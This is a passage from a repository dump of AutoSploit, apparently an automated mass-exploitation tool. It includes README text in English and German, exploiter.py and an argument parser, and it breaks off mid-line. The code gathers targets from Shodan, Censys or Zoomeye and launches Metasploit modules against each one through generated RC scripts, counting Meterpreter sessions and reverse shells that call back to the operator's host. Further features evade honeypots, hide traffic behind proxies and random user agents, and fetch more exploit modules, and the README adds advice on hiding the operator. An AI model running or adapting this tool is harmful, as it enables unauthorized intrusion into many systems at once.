https://github.com/NullArray/AutoSploit 62 | cd AutoSploit 63 | chmod +x install.sh 64 | ./install.sh 65 | ``` 66 | 67 | AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script. 68 | 69 | ```bash 70 | sudo -s << '_EOF' 71 | pip2 install virtualenv --user 72 | git clone https://github.com/NullArray/AutoSploit.git 73 | virtualenv 74 | source /bin/activate 75 | cd 76 | pip2 install -r requirements.txt 77 | chmod +x install.sh 78 | ./install.sh 79 | python autosploit.py 80 | _EOF 81 | ``` 82 | 83 | 84 | More information on running Docker can be found [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) 85 | 86 | ## Usage 87 | 88 | Starting the program with `python autosploit.py` will open an AutoSploit terminal session. The options for which are as follows. 89 | ``` 90 | 1. Usage And Legal 91 | 2. Gather Hosts 92 | 3. Custom Hosts 93 | 4. Add Single Host 94 | 5. View Gathered Hosts 95 | 6. Exploit Gathered Hosts 96 | 99. Quit 97 | ``` 98 | 99 | Choosing option `2` will prompt you for a platform specific search query. Enter `IIS` or `Apache` in example and choose a search engine. After doing so the collected hosts will be saved to be used in the `Exploit` component. 100 | 101 | As of version 2.0 AutoSploit can be started with a number of command line arguments/flags as well. Type `python autosploit.py -h` to display all the options available to you. I've posted the options below as well for reference. 102 | 103 | ``` 104 | usage: python autosploit.py -[c|z|s|a] -[q] QUERY 105 | [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH 106 | [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH 107 | [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT 108 | 109 | optional arguments: 110 | -h, --help show this help message and exit 111 | 112 | search engines: 113 | possible search engines to use 114 | 115 | -c, --censys use censys.io as the search engine to gather hosts 116 | -z, --zoomeye use zoomeye.org as the search engine to gather hosts 117 | -s, --shodan use shodan.io as the search engine to gather hosts 118 | -a, --all search all available search engines to gather hosts 119 | 120 | requests: 121 | arguments to edit your requests 122 | 123 | --proxy PROTO://IP:PORT 124 | run behind a proxy while performing the searches 125 | --random-agent use a random HTTP User-Agent header 126 | -P USER-AGENT, --personal-agent USER-AGENT 127 | pass a personal User-Agent to use for HTTP requests 128 | -q QUERY, --query QUERY 129 | pass your search query 130 | 131 | exploits: 132 | arguments to edit your exploits 133 | 134 | -E PATH, --exploit-file PATH 135 | provide a text file to convert into JSON and save for 136 | later use 137 | -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT 138 | set the configuration for MSF (IE -C default 127.0.0.1 139 | 8080) 140 | -e, --exploit start exploiting the already gathered hosts 141 | 142 | misc arguments: 143 | arguments that don't fit anywhere else 144 | 145 | --ruby-exec if you need to run the Ruby executable with MSF use 146 | this 147 | --msf-path MSF-PATH pass the path to your framework if it is not in your 148 | ENV PATH 149 | --whitelist PATH only exploit hosts listed in the whitelist file 150 | ``` 151 | 152 | 153 | ## Dependencies 154 | _Note_: All dependencies should be installed using the above installation method, however, if you find they are not: 155 | 156 | AutoSploit depends on the following Python2.7 modules. 157 | 158 | ``` 159 | requests 160 | psutil 161 | ``` 162 | 163 | Should you find you do not have these installed get them with pip like so. 164 | 165 | ```bash 166 | pip install requests psutil 167 | ``` 168 | 169 | or 170 | 171 | ```bash 172 | pip install -r requirements.txt 173 | ``` 174 | 175 | Since the program invokes functionality from the Metasploit Framework you need to have this installed also. Get it from Rapid7 by clicking [here](https://www.rapid7.com/products/metasploit/). 176 | 177 | ## Acknowledgements 178 | 179 | Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, the new version would have been a lot less spectacular. 180 | 181 | Thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. 182 | 183 | Last but certainly not least. Thanks to all who have submitted Pull Requests, bug reports, useful and productive contributions in general. 184 | 185 | ### Active Development 186 | 187 | If you would like to contribute to the development of this project please be sure to read [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md) as it contains our contribution guidelines. 188 | 189 | Please, also, be sure to read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) before sending pull requests 190 | 191 | If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our [Discord server](https://discord.gg/9BeeZQk). 192 | 193 | ### Note 194 | 195 | If you happen to encounter a bug please feel free to [Open a Ticket](https://github.com/NullArray/AutoSploit/issues). 196 | 197 | Thanks in advance. 198 | 199 | ## Translations 200 | 201 | - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) 202 | - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) 203 | - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) 204 | -------------------------------------------------------------------------------- /lib/exploitation/exploiter.py: -------------------------------------------------------------------------------- 1 | import re 2 | import csv 3 | import datetime 4 | 5 | from os import ( 6 | makedirs, 7 | path, 8 | linesep 9 | ) 10 | 11 | import lib.settings 12 | import lib.output 13 | import api_calls.honeyscore_hook 14 | 15 | 16 | def whitelist_wash(hosts, whitelist_file): 17 | """ 18 | remove IPs from hosts list that do not appear in WHITELIST_FILE 19 | """ 20 | try: 21 | whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] 22 | lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) 23 | washed_hosts = [] 24 | # return supplied hosts if whitelist file is empty 25 | if len(whitelist_hosts) == 0: 26 | return hosts 27 | else: 28 | for host in hosts: 29 | if host.strip() in whitelist_hosts: 30 | washed_hosts.append(host) 31 | 32 | return washed_hosts 33 | except IOError: 34 | lib.output.warning("unable to whitewash host list, does the file exist?") 35 | return hosts 36 | 37 | 38 | class AutoSploitExploiter(object): 39 | 40 | sorted_modules = [] 41 | 42 | def __init__(self, configuration, all_modules, hosts=None, **kwargs): 43 | self.hosts = hosts 44 | self.configuration = configuration 45 | self.mods = all_modules 46 | self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH) 47 | self.query_file = open(self.query).read() 48 | self.single = kwargs.get("single", None) 49 | self.ruby_exec = kwargs.get("ruby_exec", False) 50 | self.msf_path = kwargs.get("msf_path", None) 51 | self.dry_run = kwargs.get("dryRun", False) 52 | self.check_honey = kwargs.get("check_honey", False) 53 | self.shodan_token = kwargs.get("shodan_token", None) 54 | self.compare_honey = kwargs.get("compare_honey", 0.0) 55 | 56 | def view_sorted(self): 57 | """ 58 | view the modules that have been sorted by the relevance 59 | there is a chance this will display 0 (see TODO[1]) 60 | """ 61 | for mod in self.sorted_modules: 62 | print(mod) 63 | 64 | def sort_modules_by_query(self): 65 | """ 66 | sort modules by relevance after reading the query from the 67 | temp file 68 | """ 69 | for mod in self.mods: 70 | if self.query_file.strip() in mod: 71 | self.sorted_modules.append(mod) 72 | return self.sorted_modules 73 | 74 | def start_exploit(self, sep="*" * 10): 75 | """ 76 | start the exploit, there is still no rollover but it's being worked 77 | """ 78 | if self.dry_run: 79 | lib.settings.close("dry run was initiated, exploitation will not be done") 80 | 81 | lib.settings.MSF_LAUNCHED = True 82 | 83 | today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") 84 | current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) 85 | try: 86 | makedirs(current_run_path) 87 | except OSError: 88 | current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable + "(1)") 89 | makedirs(current_run_path) 90 | 91 | report_path = path.join(current_run_path, "report.csv") 92 | with open(report_path, 'w') as f: 93 | csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) 94 | csv_file.writerow(['Target Host', 95 | 'Date (UTC)', 96 | 'MSF Module', 97 | "LocalHost", 98 | "Listening Port", 99 | "Successful Logs", 100 | "Failure Logs", 101 | "All Logs"]) 102 | 103 | lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) 104 | 105 | win_total = 0 106 | fail_total = 0 107 | skip_amount = 0 108 | 109 | for host in self.hosts: 110 | host = host.strip() 111 | if self.check_honey: 112 | lib.output.misc_info("checking if {} is a honeypot".format(host)) 113 | honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() 114 | if honey_score >= self.compare_honey: 115 | lib.output.warning( 116 | "honeypot score ({}) is above requested, skipping target".format(honey_score) 117 | ) 118 | skip = True 119 | skip_amount += 1 120 | else: 121 | skip = False 122 | else: 123 | skip = False 124 | 125 | if not skip: 126 | current_host_path = path.join(current_run_path, host.strip()) 127 | makedirs(current_host_path) 128 | 129 | for mod in self.mods: 130 | if not self.dry_run: 131 | lib.output.info( 132 | "launching exploit '{}' against host '{}'".format( 133 | mod.strip(), host.strip() 134 | ) 135 | ) 136 | 137 | cmd_template = ( 138 | "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" 139 | ) 140 | 141 | use_ruby = "ruby" if self.ruby_exec else "" 142 | msf_path = self.msf_path if self.msf_path is not None else "msfconsole" 143 | 144 | # What's the point of having a workspace if you overwrite it every fucking time.. 145 | rc_script_template = ( 146 | "workspace -a {workspace}\n" 147 | "use {module_name}\n" 148 | "setg lhost {lhost}\n" 149 | "setg lport {lport}\n" 150 | "setg verbose true\n" 151 | "setg threads 20\n" 152 | "set rhost {rhost}\n" 153 | "set rhosts {rhosts}\n" 154 | "run -z\n" 155 | "exit -y\n" 156 | ) 157 | 158 | module_name = mod.strip() 159 | workspace = self.configuration[0] 160 | lhost = self.configuration[1] 161 | lport = self.configuration[2] 162 | rhost = host.strip() 163 | 164 | current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) 165 | with open(current_rc_script_path, 'w') as f: 166 | 167 | f.writelines(rc_script_template.format( 168 | module_name=module_name, 169 | workspace=workspace, 170 | lhost=lhost, 171 | lport=lport, 172 | rhost=rhost, 173 | rhosts=rhost 174 | )) 175 | 176 | with open(report_path, 'a') as f: 177 | 178 | cmd = cmd_template.format( 179 | use_ruby=use_ruby, 180 | msf_path=msf_path, 181 | rc_script_path=current_rc_script_path 182 | ) 183 | 184 | output = [""] 185 | if not self.dry_run: 186 | output = lib.settings.cmdline(cmd) 187 | 188 | ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') 189 | msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] 190 | 191 | msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or 192 | 'Meterpreter' in x or 193 | 'Session' in x or 194 | 'Sending stage' in x] 195 | 196 | msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] 197 | 198 | if len(msf_wins): 199 | win_total += 1 200 | if len(msf_fails): 201 | fail_total += 1 202 | 203 | csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) 204 | csv_file.writerow([rhost, 205 | today_printable, 206 | module_name, 207 | lhost, 208 | lport, 209 | linesep.join(msf_wins), 210 | linesep.join(msf_fails), 211 | linesep.join(msf_output_lines)]) 212 | 213 | print("") 214 | lib.output.info("{}RESULTS{}".format(sep, sep)) 215 | 216 | if self.dry_run: 217 | lib.output.info("\tDRY RUN!") 218 | lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) 219 | else: 220 | lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount)) 221 | lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) 222 | lib.output.info("\t{} exploit failed.".format(fail_total)) 223 | 224 | lib.output.info("\tExploit run saved to {}".format(str(current_run_path))) 225 | lib.output.info("\tReport saved to {}".format(str(report_path))) 226 | -------------------------------------------------------------------------------- /.github/.translations/README-de.md: -------------------------------------------------------------------------------- 1 | # AutoSploit 2 | 3 | Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten. 4 | 5 | **Sicherheitserwägung für den Betrieb** 6 | 7 | Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat. 8 | 9 | Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden. 10 | 11 | # Hilfreiche Links 12 | 13 | - [Nutzung](https://github.com/NullArray/AutoSploit#usage) 14 | - [Installation](https://github.com/NullArray/AutoSploit#Installation) 15 | - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies) 16 | - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki) 17 | - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) 18 | - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) 19 | - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) 20 | - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) 21 | - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements) 22 | - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development) 23 | - [Discord-Server](https://discord.gg/9BeeZQk) 24 | - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations) 25 | 26 | # Installation 27 | 28 | AutoSploit zu installieren ist sehr einfach. Du kannst den neuesten, Release [hier](https://github.com/NullArray/AutoSploit/releases/tag/2.0) finden. Du kannst außerdem den Master-Branch als [zip](https://github.com/NullArray/AutSploit/zipball/master), als [tarball](https://github.com/NullArray/AutSploit/tarball/master) oder mit einer der folgenden Methoden herunterladen. 29 | 30 | ###### Cloning 31 | 32 | ```bash 33 | sudo -s << EOF 34 | git clone https://github.com/NullArray/Autosploit.git 35 | cd AutoSploit 36 | chmod +x install.sh 37 | ./install.sh 38 | python2 autosploit.py 39 | EOF 40 | ``` 41 | 42 | ###### Docker 43 | 44 | ```bash 45 | sudo -s << EOF 46 | git clone https://github.com/NullArray/AutoSploit.git 47 | cd AutoSploit 48 | chmod +x install.sh 49 | ./installsh 50 | cd AutoSploit/Docker 51 | docker network create -d bridge haknet 52 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 53 | docker build -t autosploit . 54 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 55 | EOF 56 | ``` 57 | 58 | Auf jedem Linux-System sollte folgendes funktionierern; 59 | 60 | ```bash 61 | git clone https://github.com/NullArray/AutoSploit 62 | cd AutoSploit 63 | chmod +x install.sh 64 | ./install.sh 65 | ``` 66 | 67 | Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; 68 | 69 | ```bash 70 | sudo -s << '_EOF' 71 | pip2 install virtualenv --user 72 | git clone https://github.com/NullArray/AutoSploit.git 73 | virtualenv 74 | source /bin/activate 75 | cd 76 | pip2 install -r requirements.txt 77 | chmod +x install.sh 78 | ./install.sh 79 | python autosploit.py 80 | _EOF 81 | ``` 82 | 83 | 84 | Mehr Informationen über die Nutzung von Docker können [hier](https://github.com/NullArray/AutoSploit/tree/master/Docker) gefunden werden. 85 | 86 | ## Nutzung 87 | 88 | Das Programm mit `python autosploit.py` auszuführen, wird eine AutoSploit Terminal Session öffnen. Die Optionen für diese sind im Folgenden aufgelistet. 89 | ``` 90 | 1. Usage And Legal 91 | 2. Gather Hosts 92 | 3. Custom Hosts 93 | 4. Add Single Host 94 | 5. View Gathered Hosts 95 | 6. Exploit Gathered Hosts 96 | 99. Quit 97 | ``` 98 | 99 | Beim Auswählen der Option `2` wirst du aufgefordert, eine Plattform-spezifischen Suchanfrage einzugeben. Gib zum Beispiel `IIS` oder `Apache` ein und wähle eine Suchmaschine aus. Danach werden die gesammelten Hosts gespeichert, um sie in der `Exploit` Komponente nutzen zu können. 100 | 101 | Seit Version 2.0 von AutoSploit, kann dieses ebenfalls mit einer Anzahl von Command Line Argumenten/Flags gestartet werden. Gib `python autosploit.py -h` ein, um alle für dich verfügbaren Optionen anzuzeigen. Zur Referenz sind die Optionen nachfolgend ebenfalls aufgelistet *(auf Englisch)*. 102 | 103 | ``` 104 | usage: python autosploit.py -[c|z|s|a] -[q] QUERY 105 | [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH 106 | [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH 107 | [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT 108 | 109 | optional arguments: 110 | -h, --help show this help message and exit 111 | 112 | search engines: 113 | possible search engines to use 114 | 115 | -c, --censys use censys.io as the search engine to gather hosts 116 | -z, --zoomeye use zoomeye.org as the search engine to gather hosts 117 | -s, --shodan use shodan.io as the search engine to gather hosts 118 | -a, --all search all available search engines to gather hosts 119 | 120 | requests: 121 | arguments to edit your requests 122 | 123 | --proxy PROTO://IP:PORT 124 | run behind a proxy while performing the searches 125 | --random-agent use a random HTTP User-Agent header 126 | -P USER-AGENT, --personal-agent USER-AGENT 127 | pass a personal User-Agent to use for HTTP requests 128 | -q QUERY, --query QUERY 129 | pass your search query 130 | 131 | exploits: 132 | arguments to edit your exploits 133 | 134 | -E PATH, --exploit-file PATH 135 | provide a text file to convert into JSON and save for 136 | later use 137 | -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT 138 | set the configuration for MSF (IE -C default 127.0.0.1 139 | 8080) 140 | -e, --exploit start exploiting the already gathered hosts 141 | 142 | misc arguments: 143 | arguments that don't fit anywhere else 144 | 145 | --ruby-exec if you need to run the Ruby executable with MSF use 146 | this 147 | --msf-path MSF-PATH pass the path to your framework if it is not in your 148 | ENV PATH 149 | --whitelist PATH only exploit hosts listed in the whitelist file 150 | ``` 151 | 152 | Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; 153 | 154 | ```bash 155 | sudo -s << '_EOF' 156 | pip2 install virtualenv --user 157 | git clone https://github.com/NullArray/AutoSploit.git 158 | virtualenv 159 | source /bin/activate 160 | cd 161 | pip2 install -r requirements.txt 162 | chmod +x install.sh 163 | ./install.sh 164 | python autosploit.py 165 | _EOF 166 | ``` 167 | 168 | ## Abhängigkeiten 169 | _Bitte beachte_: Alle Abhängigkeiten sollten über die obige Installationsmethode installiert werden. Für den Fall, dass die Installation nicht möglich ist: 170 | 171 | AutoSploit benötigt die folgenden Python 2.7 Module: 172 | 173 | ``` 174 | requests 175 | psutil 176 | beautifulsoup4 177 | ``` 178 | 179 | Wenn dir auffällt, dass du diese nicht installiert hast, kannst du sie über Pip installieren, wie nachfolgend gezeigt. 180 | 181 | ```bash 182 | pip install requests psutil beautifulsoup4 183 | ``` 184 | 185 | oder 186 | 187 | ```bash 188 | pip install -r requirements.txt 189 | ``` 190 | 191 | Da das Programm Funktionalität des Metasploit-Frameworkes nutzt, musst du dieses ebenfalls installiert haben. Hole es dir über Rapid7, indem du [hier](https://www.rapid7.com/products/metasploit/) klickst. 192 | 193 | ## Danksagung 194 | 195 | Ein besonderer Dank gilt [Ekultek](https://github.com/Ekultek) ohne dessen Beiträge die Version 2.0 dieses Projekts wohl weitaus weniger spektakulär wäre. 196 | 197 | Ebenfalls danke an [Khast3x](https://github.com/khast3x) für das Einrichten der Docker-Unterstützung. 198 | 199 | ### Aktive Entwicklung 200 | 201 | Falls du gerne zur Entwicklung dieses Projekts beitragen möchtest, bitte lies zuerst [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md), da diese unsere Leitfäden für Contributions enthält. 202 | 203 | Bitte lies außerdem [die Contribution-Standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards), bevor du eine Pull Request erstellst. 204 | 205 | Falls du Hilfe damit brauchst, den Code zu verstehen, oder einfach mit anderen Mitgliedern der AutoSploit-Community chatten möchtest, kannst du gerne unserem [Discord-Server](https://discord.gg/9BeeZQk) joinen. 206 | 207 | ### Anmerkung 208 | 209 | Falls du einem Bug begegnest, bitte fühle dich frei, [ein Ticket zu öffnen](https://github.com/NullArray/AutoSploit/issues). 210 | 211 | Danke im Voraus. 212 | 213 | ## Übersetzungen 214 | 215 | - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) 216 | - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) 217 | - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) 218 | -------------------------------------------------------------------------------- /lib/cmdline/cmd.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import random 4 | import argparse 5 | 6 | import lib.output 7 | import lib.jsonize 8 | import lib.settings 9 | import api_calls.censys 10 | import api_calls.shodan 11 | import api_calls.zoomeye 12 | import lib.exploitation.exploiter 13 | 14 | 15 | class AutoSploitParser(argparse.ArgumentParser): 16 | 17 | def __init__(self): 18 | super(AutoSploitParser, self).__init__() 19 | 20 | @staticmethod 21 | def optparser(): 22 | 23 | """ 24 | the options function for our parser, it will put everything into play 25 | """ 26 | 27 | parser = argparse.ArgumentParser( 28 | usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n" 29 | "{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH\n" 30 | "{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n" 31 | "{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format( 32 | spacer=" " * 28 33 | ) 34 | ) 35 | se = parser.add_argument_group("search engines", "possible search engines to use") 36 | se.add_argument("-c", "--censys", action="store_true", dest="searchCensys", 37 | help="use censys.io as the search engine to gather hosts") 38 | se.add_argument("-z", "--zoomeye", action="store_true", dest="searchZoomeye", 39 | help="use zoomeye.org as the search engine to gather hosts") 40 | se.add_argument("-s", "--shodan", action="store_true", dest="searchShodan", 41 | help="use shodan.io as the search engine to gather hosts") 42 | se.add_argument("-a", "--all", action="store_true", dest="searchAll", 43 | help="search all available search engines to gather hosts") 44 | save_results_args = se.add_mutually_exclusive_group(required=False) 45 | save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", 46 | help="When specified, start from scratch by overwriting the host file with new search results.") 47 | save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", 48 | help="When specified, append discovered hosts to the host file.") 49 | 50 | req = parser.add_argument_group("requests", "arguments to edit your requests") 51 | req.add_argument("--proxy", metavar="PROTO://IP:PORT", dest="proxyConfig", 52 | help="run behind a proxy while performing the searches") 53 | req.add_argument("--random-agent", action="store_true", dest="randomAgent", 54 | help="use a random HTTP User-Agent header") 55 | req.add_argument("-P", "--personal-agent", metavar="USER-AGENT", dest="personalAgent", 56 | help="pass a personal User-Agent to use for HTTP requests") 57 | req.add_argument("-q", "--query", metavar="QUERY", dest="searchQuery", 58 | help="pass your search query") 59 | 60 | exploit = parser.add_argument_group("exploits", "arguments to edit your exploits") 61 | exploit.add_argument("-E", "--exploit-file", metavar="PATH", dest="exploitList", 62 | help="provide a text file to convert into JSON and save for later use") 63 | exploit.add_argument("-C", "--config", nargs=3, metavar=("WORKSPACE", "LHOST", "LPORT"), dest="msfConfig", 64 | help="set the configuration for MSF (IE -C default 127.0.0.1 8080)") 65 | exploit.add_argument("-e", "--exploit", action="store_true", dest="startExploit", 66 | help="start exploiting the already gathered hosts") 67 | exploit.add_argument("-d", "--dry-run", action="store_true", dest="dryRun", 68 | help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.") 69 | exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", 70 | help="Run AutoSploit with provided exploit JSON file.") 71 | exploit.add_argument("-H", "--is-honeypot", type=float, default=1000, dest="checkIfHoneypot", metavar="HONEY-SCORE", 72 | help="Determine if the host is a honeypot or not") 73 | 74 | misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else") 75 | misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded", 76 | help="if you need to run the Ruby executable with MSF use this") 77 | misc.add_argument("--msf-path", metavar="MSF-PATH", dest="pathToFramework", 78 | help="pass the path to your framework if it is not in your ENV PATH") 79 | misc.add_argument("--ethics", action="store_true", dest="displayEthics", 80 | help=argparse.SUPPRESS) # easter egg! 81 | misc.add_argument("--whitelist", metavar="PATH", dest="whitelist", 82 | help="only exploit hosts listed in the whitelist file") 83 | misc.add_argument("-D", "--download", nargs="+", metavar="SEARCH1 SEARCH2 ...", dest="downloadModules", 84 | help="download new exploit modules with a provided search flag") 85 | opts = parser.parse_args() 86 | return opts 87 | 88 | @staticmethod 89 | def parse_provided(opt): 90 | """ 91 | parse the provided arguments to make sure that they are all compatible with one another 92 | """ 93 | parser = any([opt.searchAll, opt.searchZoomeye, opt.searchCensys, opt.searchShodan]) 94 | 95 | if opt.rubyExecutableNeeded and opt.pathToFramework is None: 96 | lib.settings.close("if the Ruby exec is needed, so is the path to metasploit, pass the `--msf-path` switch") 97 | if opt.pathToFramework is not None and not opt.rubyExecutableNeeded: 98 | lib.settings.close( 99 | "if you need the metasploit path, you also need the ruby executable. pass the `--ruby-exec` switch" 100 | ) 101 | if opt.personalAgent is not None and opt.randomAgent: 102 | lib.settings.close("you cannot use both a personal agent and a random agent, choose only one") 103 | if parser and opt.searchQuery is None: 104 | lib.settings.close("must provide a search query with the `-q/--query` switch") 105 | if not parser and opt.searchQuery is not None: 106 | lib.settings.close( 107 | "you provided a query and no search engine, choose one with `-s/--shodan/-z/--zoomeye/-c/--censys` " 108 | "or all with `-a/--all`" 109 | ) 110 | if opt.startExploit and opt.msfConfig is None: 111 | lib.settings.close( 112 | "you must provide the configuration for metasploit in order to start the exploits " 113 | "do so by passing the `-C\--config` switch (IE -C default 127.0.0.1 8080). don't be " 114 | "an idiot and keep in mind that sending connections back to your localhost is " 115 | "probably not a good idea" 116 | ) 117 | if not opt.startExploit and opt.msfConfig is not None: 118 | lib.settings.close( 119 | "you have provided configuration without attempting to exploit, you must pass the " 120 | "`-e/--exploit` switch to start exploiting" 121 | ) 122 | 123 | @staticmethod 124 | def single_run_args(opt, keys, loaded_modules): 125 | """ 126 | run the arguments provided 127 | """ 128 | api_searches = ( 129 | api_calls.zoomeye.ZoomEyeAPIHook, 130 | api_calls.shodan.ShodanAPIHook, 131 | api_calls.censys.CensysAPIHook 132 | ) 133 | headers = lib.settings.configure_requests( 134 | proxy=opt.proxyConfig, agent=opt.personalAgent, rand_agent=opt.randomAgent 135 | ) 136 | single_search_msg = "using {} as the search engine" 137 | 138 | if opt.displayEthics: 139 | ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) 140 | with open(ethics_file) as ethics: 141 | ethic = random.choice(ethics.readlines()).strip() 142 | lib.settings.close( 143 | "You should take this ethical lesson into consideration " 144 | "before you continue with the use of this tool:\n\n{}\n".format(ethic)) 145 | if opt.downloadModules is not None: 146 | import re 147 | 148 | modules_to_download = opt.downloadModules 149 | links_list = "{}/etc/text_files/links.txt".format(lib.settings.CUR_DIR) 150 | possibles = open(links_list).readlines() 151 | for module in modules_to_download: 152 | searcher = re.compile("{}".format(module)) 153 | for link in possibles: 154 | if searcher.search(link) is not None: 155 | filename = lib.settings.download_modules(link.strip()) 156 | download_filename = "{}.json".format(link.split("/")[-1].split(".")[0]) 157 | download_path = "{}/etc/json".format(os.getcwd()) 158 | current_files = os.listdir(download_path) 159 | if download_filename not in current_files: 160 | full_path = "{}/{}".format(download_path, download_filename) 161 | lib.jsonize.text_file_to_dict(filename, filename=full_path) 162 | lib.output.info("downloaded into: {}".format(download_path)) 163 | else: 164 | lib.output.warning("file already downloaded, skipping") 165 | if opt.exploitList: 166 | try: 167 | lib.output.info("converting {} to JSON format".format(opt.exploitList)) 168 | done = lib.jsonize.text_file_to_dict(opt.exploitList) 169 | lib.output.info("converted successfully and saved under {}".format(done)) 170 | except IOError as e: 171 | lib.output.error("caught IOError '{}' check the file path and try again".format(str(e))) 172 | sys.exit(0) 173 | 174 | search_save_mode = None 175 | if opt.overwriteHosts: 176 | # Create a new empty file, overwriting the previous one. 177 | # Set the mode to append afterwards 178 | # This way, successive searches will start clean without 179 | # overriding each others. 180 | open(lib.settings.HOST_FILE, mode="w").close() 181 | search_save_mode = "a" 182 | elif opt.appendHosts: 183 | search_save_mode = "a" 184 | 185 | # changed my mind it's not to bad 186 | if opt.searchCensys: 187 | lib.output.info(single_search_msg.format("Censys")) 188 | api_searches[2]( 189 | keys["censys"][1], keys["censys"][0], 190 | opt.searchQuery, proxy=headers[0], agent=headers[1], 191 | save_mode=search_save_mode 192 | ).search() 193 | if opt.searchZoomeye: 194 | lib.output.info(single_search_msg.format("Zoomeye")) 195 | api_searches[0]( 196 | opt.searchQuery, proxy=headers[0], agent=headers[1], 197 | save_mode=search_save_mode 198 | ).search() 199 | if opt.searchShodan: 200 | lib.output.info(single_search_msg.format("Shodan")) 201 | api_searches[1]( 202 | keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], 203 | save_mode=search_save_mode 204 | ).search() 205 | if opt.searchAll: 206 | lib.output.info("searching all search engines in order") 207 | api_searches[0]( 